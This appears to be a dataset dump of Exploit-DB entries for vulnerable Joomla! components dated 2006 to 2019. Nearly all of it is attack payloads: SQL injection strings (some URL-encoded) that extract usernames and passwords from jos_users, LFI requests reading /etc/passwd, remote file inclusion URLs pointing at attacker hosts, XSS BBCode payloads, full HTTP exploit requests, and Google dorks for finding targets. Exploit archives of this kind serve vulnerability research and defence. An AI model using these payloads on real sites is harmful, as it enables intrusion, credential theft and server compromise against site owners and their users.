deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46228
Description: Joomla! Component vRestaurant 1.9.4 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component vRestaurant 1.9.4 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://wdmtech.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/food-a-beverage/vrestaurant/
# Version: 1.9.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/menu-listing-layout/menuitems
# 

%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%28%53%45%4c%45%43%54%28%40%78%29%46%52%4f%4d%28%53%45%4c%45%43%54%28%40%78%3a%3d%30%78%30%30%29%2c%28%40%4e%52%3a%3d%30%29%2c%28%53%45%4c%45%43%54%28%30%29%46%52%4f%4d%28%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%29%57%48%45%52%45%28%54%41%42%4c%45%5f%53%43%48%45%4d%41%21%3d%30%78%36%39%36%65%36%36%36%66%37%32%36%64%36%31%37%34%36%39%36%66%36%65%35%66%37%33%36%33%36%38%36%35%36%64%36%31%29%41%4e%44%28%30%78%30%30%29%49%4e%28%40%78%3a%3d%43%4f%4e%43%41%54%28%40%78%2c%4c%50%41%44%28%40%4e%52%3a%3d%40%4e%52%25%32%62%31%2c%34%2c%30%78%33%30%29%2c%30%78%33%61%32%30%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%30%78%33%63%36%32%37%32%33%65%29%29%29%29%78%29%2d%2d%20%2d

# keysearch=[SQL]
# categories[]=[SQL]
# min=[SQL]
# max=[SQL]

POST /[PATH]/menu-listing-layout/menuitems HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 322
Cookie: 1b9dcd66a46474552f38b0164f24ac07=1dc22d621aab1d9d01c05431e9b453b3
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
csmodid=236&Itemid=303&keysearch=' union select (SELECT(@x)FROM(SELECT(@x: =0x00),(@NR
HTTP/1.1 500 You have an error in your SQL .....#__associations<br>0007: #__banner_clients<br>0008: #__banner_tracks<br>0009: #__banners<br>0010:X-Powered-By: PHP/5.6.16
Date: Tue, 22 Jan 2019 19:04:29 GMT
Server: Apache
X-Logged-In: False
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #46225
Description: Joomla! Component vWishlist 1.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component vWishlist 1.0.1 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://wdmtech.com/
# Software Link: https://extensions.joomla.org/extensions/extension/extension-specific/virtuemart-extensions/vwishlist/
# Version: 1.0.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]//
# 

POST /[PATH]/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 372
Cookie: 1b9dcd66a46474552f38b0164f24ac07=738c74dd230a79b92e8bce29cfd435b9; activeProfile=0; joomla_user_state=logged_in
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
option=com_vwishlist&task=wishlist&wishval=1&userid=711&numofQuantity=1&wishQuantshw=1&wishPriceshw=1&wishDatetimeshw=1&vproductid=48%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29,%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58: undefined
HTTP/1.1 500 XPATH syntax error:...
Date: Tue, 22 Jan 2019 21:54:01 GMT
Server: Apache
X-Powered-By: PHP/5.6.16
X-Logged-In: True
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

# POC: 
# 2)
# http://localhost/[PATH]//
# 

POST /[PATH]/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 372
Cookie: 1b9dcd66a46474552f38b0164f24ac07=738c74dd230a79b92e8bce29cfd435b9; activeProfile=0; joomla_user_state=logged_in
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
option=com_vwishlist&task=wishlist&wishval=1&userid=711%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29,%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58&numofQuantity=1&wishQuantshw=1&wishPriceshw=1&wishDatetimeshw=1&vproductid=48: undefined
HTTP/1.1 500 XPATH syntax error:...
Date: Tue, 22 Jan 2019 21:53:42 GMT
Server: Apache
X-Powered-By: PHP/5.6.16
X-Logged-In: True
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Exploit-DB #12440
Description: Joomla! Component Wap4Joomla! - 'wapmain.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: Manas58

Exploit:
Joomla Component Wap4Joomla (wapmain.php) SQL Injection Vulnerability  
      
###########################  
      
Author    : Manas58 
   
Homepage  : http://www.1923turk.com   
  
Script    : Joomla  http://www.joomlaos.de/Downloads/Joomla_und_Mambo_Komponenten/Wap4Joomla.html 
  
Download  : http://www.joomlaos.de/option,com_remository/Itemid,41/func,finishdown/id,2088.html  

Dork      : inurl:wapmain.php?option=      
###########################    
        
[ Vulnerable File ] 
 
    
wap/wapmain.php?option=onews&action=link&id= [ SQL ]  
         
    
[ XpL ]  
      
-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
  
[ Demo] 
 
http://xxxxx/wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--


  
##############################################################    
# 
# Gamoscu: http://gamoscu.wordpress.com/
#
# Baybora: http://baybora.wordpress.com/
#
# Delibey - Tiamo - Psiko - Turco - infazci - X-TRO 
#
#
#
#
#   
##############################################################
Exploit-DB #12166
Description: Joomla! Component Web TV 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
===========================================================================================================


  [o] Joomla Component Web TV Local File Inclusion Vulnerability
 
       Software : com_webtv
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_webtv&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00


===========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===========================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #33637
Description: Joomla! Component Webee Comments 1.1/1.2 - 'index2.php' articleId SQL Injection
Type: webapps
Platform: php
Date: 2009-11-15
Author: Jeff Channell

Exploit:
source: https://www.securityfocus.com/bid/38204/info

The Joomla! Webee component is prone to an SQL-injection vulnerability and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Webee 1.1.1 is vulnerable to all these issues. Webee 1.2 is reportedly affected by the SQL-injection issue and possibly the HTML-injection issues as well.

http://www.example.com/index2.php?option=com_webeecomment&task=default&articleId=999 union select 1,2,VERSION(),4,5,6,7,8,9,10,11,12 --
Exploit-DB #33638
Description: Joomla! Component Webee Comments 1.1/1.2 - Multiple BBCode Tags Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-15
Author: Jeff Channell

Exploit:
source: https://www.securityfocus.com/bid/38204/info
 
The Joomla! Webee component is prone to an SQL-injection vulnerability and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
 
The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Webee 1.1.1 is vulnerable to all these issues. Webee 1.2 is reportedly affected by the SQL-injection issue and possibly the HTML-injection issues as well.
 
[color=red;xss:expression(window.r?0:(alert(String.fromCharCode(88,83,83)),window.r=1))]XSS[/color]
[img]http://foo.com/fake.png"/onerror="alert(String.fromCharCode(88,83,83))[/img]
[url="/onmouseover="alert(String.fromCharCode(88,83,83))]XSS[/url]
Exploit-DB #11999
Description: Joomla! Component webERPcustomer - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-01
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
Joomla Component webERPcustomer Local File Inclusion
---------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Group		: LatinHackTeam
Email & msn	: chipdebios@gmail.com
Date		: 31 March 2010
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: webERPcustomer
version		: 1.2.1
Developer	: Mo Kelly
License		: GPL            type  : Commercial
Price		: 20.00 USD
Date Added	: 24 June 2009
Download	: http://joomlamo.com/joomlamo/downloads/cat_view/8-extensions-integrated-with-weberp.html


Description     :

webERPcustomer is a Joomla! component integrated with webERP. Upon logging in and clicking the webERPcustomer
menu selection the user/salesperson will be able to view and update webERP customer master records assigned
to them and access/update associated wiki data. webERPcustomer is an easy way to allow sales persons to update
their customer data.

The Joomla user name and webERP salesperson code must be the same and the Joomla database user must be given
rights to the webERP database.

webERP is an open source accounting package that is very popular. At Rockwall Computer we are writing modules
and components integrated with webERP so that companies can access and update data in webERP using Joomla modules
and components. This reduces training time and the user interface is more friendly and powerful.


For instance, this accounts receivable customer and branch record update is much easier to access than through webERP.
Clicking the note/pencil opens the webERP wiki notes for that customer. This method of access to a sales persons
including the wiki integration makes it very powerful!


--------------
file error	: components/com_weberpcustomer/weberpcustomer.php

how to exploit

http://127.0.0.1/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #34475
Description: Joomla! Component Weblinks - 'Itemid' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-15
Author: ViRuS Qalaa

Exploit:
source: https://www.securityfocus.com/bid/42455/info

The 'com_weblinks' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/{path}/index.php?option=com_weblinks&view=categories&Itemid=[SQL]
Exploit-DB #30651
Description: Joomla! Component WebMaster-Tips.net Joomla! RSS Feed Reader 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-10
Author: Cyber-Crime

Exploit:
source: https://www.securityfocus.com/bid/25999/info

Webmaster-Tips.net Joomla! RSS Feed Reader is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=sh3ll?
Exploit-DB #2177
Description: Joomla! Component Webring 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-13
Author: Mehmet Ince

Exploit:
####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

Joomla Webring Component (component_dir) Remote File Inclusion Vulnerabilities

####################################################

Author: xoron

####################################################

Class : Remote

####################################################

cont@ct: x0r0n[at]hotmail[dot]com

####################################################

Code: in admin.webring.docs.php, line 12

require_once ($component_dir. "mungdocs.class.php");

####################################################

Google dork: inurl:com_webring

####################################################

Exploit:
http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts?

####################################################

Greetz: str0ke, Preddy, Ironfist, x-master, DJR, R3D4C!D

####################################################

# milw0rm.com [2006-08-13]
Exploit-DB #12316
Description: Joomla! Component WMI 1.5.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-21
Author: wishnusakti + inc0mp13te

Exploit:
 ================================================================================================

 Title    : Joomla Component wmi (com_wmi) LFI Vulnerability
 Vendor   : http://www.paysyspro.com/
 Download : http://www.paysyspro.com/jotloader/files.download/3

 Date     : Sunday, 21 April 2010 - GMT +07:00 Jakarta, Indonesia
 Author   : wishnusakti + inc0mp13te (HH)
 Contact  : evileyes60117[at]yahoo.com

 ================================================================================================

 [+] Vulnerable

     ./components/com_wmi/wmi.php

     // Require specific controller if requested
	if($controller = JRequest::getVar( 'controller' )) {
    	require_once( JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php' );
	}


 [+] Exploit

     http://[site]/[path]/index.php?option=com_wmi&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00

 ================================================================================================

Very Special thanks :
     Penghuni #nob0dy priv8 Server
     (ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, cheche angela zhang, madonk, & BotÂ² Scan :D)
 
     en Semua Komunitas Hacking Tanah Air
     Peace Yo :)

to all my friends : mywisdom, cakill, aurell, hafiz, xco, kiddies, xshadow, gblack, petimati, 
                    cakill, krembis, biakkobar, hendri_note
        
 ================================================================================================

# ./wishnusakti
Exploit-DB #41382
Description: Joomla! Component WMT Content Timeline 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-17
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component WMT Content Timeline v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_wmt_content_timeline
# Date: 17.02.2017
# Vendor Homepage: http://devecostudio.com
# Software Buy: https://extensions.joomla.org/extensions/extension/news-display/articles-display/wmt-content-timeline/
# Demo: http://joomla.devecostudio.com/9-wmt-content-timeline-joomla-module.html
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_wmt_content_timeline&task=returnArticle&id=[SQL]
# -66666+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,0x496873616e2053656e63616e203c62723e207777772e696873616e2e6e6574,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),13,14,15--+-
# # # # #
Exploit-DB #4497
Description: Joomla! Component wmtportfolio 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-07
Author: NoGe

Exploit:
# wmtportfolio joomla component 1.0 Remote File Include Vulnerability

 Component       : com_wmtportfolio version 1.0
 Download script : http://www.webmaster-tips.net/
 Dicovered by    : NoGe
 Contact         : pace.noge@hotmail.com

==================================================================================================================================

# Vulnerable found in /administrator/components/com_wmtportfolio/admin.wmtportfolio.php

 line 5 include( $mosConfig_absolute_path . "/components/com_wmtportfolio/additems.php" );


# Exploit

 
http://localhost/path/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=[evilcode]


# google dork

 inurl:com_wmtportfolio

==================================================================================================================================

# Greetz

 [-] all crew #papuahacker #nyubicrew #baliemhackerlink
 [-] skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie
 [-] yooogy Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
 [-] http://kapukvalley.net member

================================================================================================================================== 

# milw0rm.com [2007-10-07]
Exploit-DB #5109
Description: Joomla! Component xfaq 1.2 - 'aid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-13
Author: S@BUN

Exploit:
###############################################################
#
#  joomla SQL Injection(com_xfaq)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
# http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
# www.milw0rm.com@gmail.com
#
################################################################
#
# DORK 1 : allinurl: aid "com_xfaq"
#
# DORK 2 : allinurl: "com_xfaq"
#
################################################################
EXPLOIT :

index.php?option=com_xfaq&task=answer&Itemid=S@BUN&catid=97&aid=-9988%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0x3a,password,0x3a,username,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0/**/from/**/jos_users/*

################################################################
# S@BUN              i AM NOT HACKER                  S@BUN
################################################################

<mosinstall type="component" version="4.5.2">
  <name>xfaq</name>
  <creationDate>2005.11.03</creationDate>
  <author>mic / mgfi</author>
  <copyright>mgfi.info</copyright>
  <license>Released under the GNU/GPL License</license>

  <authorEmail>info@mgfi.info</authorEmail>
  <authorUrl>www.mgfi.info</authorUrl>
  <version>1.2</version>
  <description>XfaQ is an addon for Joomla 1.x and Mambo 4.5.x. Based on SimpleFAQ 2.0.1 from www.parkviewconsultants.com</description>

# milw0rm.com [2008-02-13]
Exploit-DB #12097
Description: Joomla! Component XOBBIX 1.0 - 'prodid' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-06
Author: AntiSecurity

Exploit:
===============================================================================================================


  [o] Joomla Component XOBBIX [prodid] SQL Injection Vulnerability
 
       Software : com_xobbix version 1.0.x
       Vendor   : http://www.php-shop-system.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_xobbix&catid=32&task=prod_desc&prodid=25


  [o] PoC

       http://localhost/index.php?option=com_xobbix&catid=31&task=prod_desc&prodid=-21+union+select+1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16+from+jos_users--


  [o] Tool

       Simple SQLi Dumper v5.1
       http://c0li.info/xpl/ssdp51.tar.gz
       http://evilc0de.blogspot.com/2010/03/simple-sqli-dumper-v51-how-to.html


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia